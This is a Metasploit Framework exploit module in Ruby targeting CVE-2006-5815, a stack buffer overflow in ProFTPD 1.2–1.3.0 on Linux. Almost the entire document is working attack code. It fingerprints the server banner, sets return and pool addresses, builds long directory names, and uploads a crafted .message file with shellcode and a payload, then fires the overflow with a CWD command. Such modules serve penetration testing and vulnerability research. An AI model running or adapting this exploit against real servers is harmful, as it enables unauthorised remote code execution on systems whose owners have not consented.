ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)

`##  
# $Id: proftp_sreplace.rb 11526 2011-01-09 23:33:53Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)',  
'Description' => %q{  
This module exploits a stack-based buffer overflow in versions 1.2 through  
1.3.0 of ProFTPD server. The vulnerability is within the "sreplace" function  
within the "src/support.c" file.  
  
The off-by-one heap overflow bug in the ProFTPD sreplace function has been  
discovered about 2 (two) years ago by Evgeny Legerov. We tried to exploit  
this off-by-one bug via MKD command, but failed. We did not work on this bug  
since then.  
  
Actually, there are exists at least two bugs in sreplace function, one is the  
mentioned off-by-one heap overflow bug the other is a stack-based buffer overflow  
via 'sstrncpy(dst,src,negative argument)'.  
  
We were unable to reach the "sreplace" stack bug on ProFTPD 1.2.10 stable  
version, but the version 1.3.0rc3 introduced some interesting changes, among them:  
  
1. another (integer) overflow in sreplace!  
2. now it is possible to reach sreplace stack-based buffer overflow bug via  
the "pr_display_file" function!  
3. stupid '.message' file display bug  
  
So we decided to choose ProFTPD 1.3.0 as a target for our exploit.  
To reach the bug, you need to upload a specially created .message file to a  
writeable directory, then do "CWD <writeable directory>" to trigger the invocation  
of sreplace function.  
  
Note that ProFTPD 1.3.0rc3 has introduced a stupid bug: to display '.message'  
file you also have to upload a file named '250'. ProFTPD 1.3.0 fixes this bug.  
  
The exploit is a part of VulnDisco Pack since Dec 2005.  
},  
'Author' =>  
[  
'Evgeny Legerov <admin [at] gleg.net>', # original .pm version (VulnDisco)  
'jduck' # Metasploit 3.x port  
],  
'Version' => '$Revision: 11526 $',  
'References' =>  
[  
[ 'CVE', '2006-5815' ],  
[ 'OSVDB', '68985' ],  
[ 'BID', '20992' ],  
[ 'URL', 'http://seclists.org/bugtraq/2006/Nov/94' ],  
[ 'URL', 'http://seclists.org/bugtraq/2006/Nov/538' ],  
[ 'URL', 'http://bugs.proftpd.org/show_bug.cgi?id=2858' ],  
[ 'URL', 'http://proftp.cvs.sourceforge.net/proftp/proftpd/src/main.c?view=diff&r1=text&tr1=1.292&r2=text&tr2=1.294&diff_format=h' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'PrependChrootBreak' => true  
},  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 900,  
'BadChars' => "\x00\x0a\x0d\x25",  
'DisableNops' => 'True',  
},  
'Platform' => [ 'linux' ],  
'Targets' =>  
[  
#  
# Automatic targeting via fingerprinting  
#  
[ 'Automatic Targeting', { 'auto' => true } ],  
  
#  
# This special one comes first since we dont want its index changing.  
#  
[ 'Debug',  
{  
'Ret' => 0x41414242,  
'PoolAddr' => 0x43434545  
}  
],  
  
#  
# specific targets  
#  
  
[ "ProFTPD 1.3.0 (source install) / Debian 3.1",  
{  
# objdump -D proftpd|grep call|grep edx  
'Ret' => 0x804afc8, # call edx  
# nm proftpd|grep permanent_pool  
'PoolAddr' => 0x80b59f8  
}  
]  
  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Nov 26 2006'))  
  
register_options(  
[  
OptString.new('WRITABLE', [ true, 'A writable directory on the target host', '/incoming' ])  
], self.class )  
end  
  
  
def check  
# NOTE: We don't care if the login failed here...  
ret = connect  
  
# We just want the banner to check against our targets..  
print_status("FTP Banner: #{banner.strip}")  
  
status = CheckCode::Safe  
  
if banner =~ /ProFTPD (1\.[23]\.[^ ])/i  
ver = $1  
maj,min,rel = ver.split('.')  
relv = rel.slice!(0,1)  
case relv  
when '2'  
status = CheckCode::Vulnerable  
  
when '3'  
# 1.3.x before 1.3.1 is vulnerable  
status = CheckCode::Vulnerable  
if rel.length > 0  
if rel.to_i > 0  
status = CheckCode::Safe  
else  
status = CheckCode::Vulnerable  
end  
end  
end  
end  
  
disconnect  
return status  
end  
  
  
def exploit  
connect_login  
  
# Use a copy of the target  
mytarget = target  
  
if (target['auto'])  
mytarget = nil  
  
print_status("Automatically detecting the target...")  
if (banner and (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))) then  
print_status("FTP Banner: #{banner.strip}")  
version = m[1]  
else  
raise RuntimeError, "No matching target"  
end  
  
regexp = Regexp.escape(version)  
self.targets.each do |t|  
if (t.name =~ /#{regexp}/) then  
mytarget = t  
break  
end  
end  
  
if (not mytarget)  
raise RuntimeError, "No matching target"  
end  
  
print_status("Selected Target: #{mytarget.name}")  
else  
print_status("Trying target #{mytarget.name}...")  
if banner  
print_status("FTP Banner: #{banner.strip}")  
end  
end  
  
#puts "attach and press any key"; bleh = $stdin.gets  
res = send_cmd(['CWD', datastore['WRITABLE']])  
  
pwd = send_cmd(['PWD'])  
if pwd !~ /257\s\"(.+)\"/  
raise RuntimeError, "Unable to get current working directory"  
end  
pwd = $1  
pwd << "/" if pwd[-1,1] != "/"  
  
dir1 = "A" * (251 - pwd.length)  
res = send_cmd(['MKD', dir1])  
  
res = send_cmd(['CWD', dir1])  
  
res = send_cmd(['PWD'])  
  
dir2 = "B" * 64  
dir2 << [mytarget.ret].pack('V')  
dir2 << [mytarget['PoolAddr'] - 4].pack('V')  
dir2 << "\xcc" * 28  
  
res = send_cmd(['DELE', "#{dir2}/.message"])  
res = send_cmd(['DELE', "250"])  
res = send_cmd(['RMD', dir2])  
  
filedata = ''  
filedata << 'A'  
filedata << "\x66\x81\xc2\x5e\x13\x52\xc3"; # add $0x135e, %dx; push %edx; ret  
filedata << "\x25C" * 11  
filedata << 'A'  
filedata << payload.encoded  
filedata << rand_text_alphanumeric(900 - payload.encoded.length)  
filedata << "\x25\x43\x41" * 10  
  
res = send_cmd(['MKD', dir2])  
res = send_cmd_data(['PUT', "#{dir2}/.message"], filedata, 'I')  
  
# Trigger sreplace overflow  
res = send_cmd(['CWD', dir2])  
  
handler  
disconnect  
  
end  
  
end  
`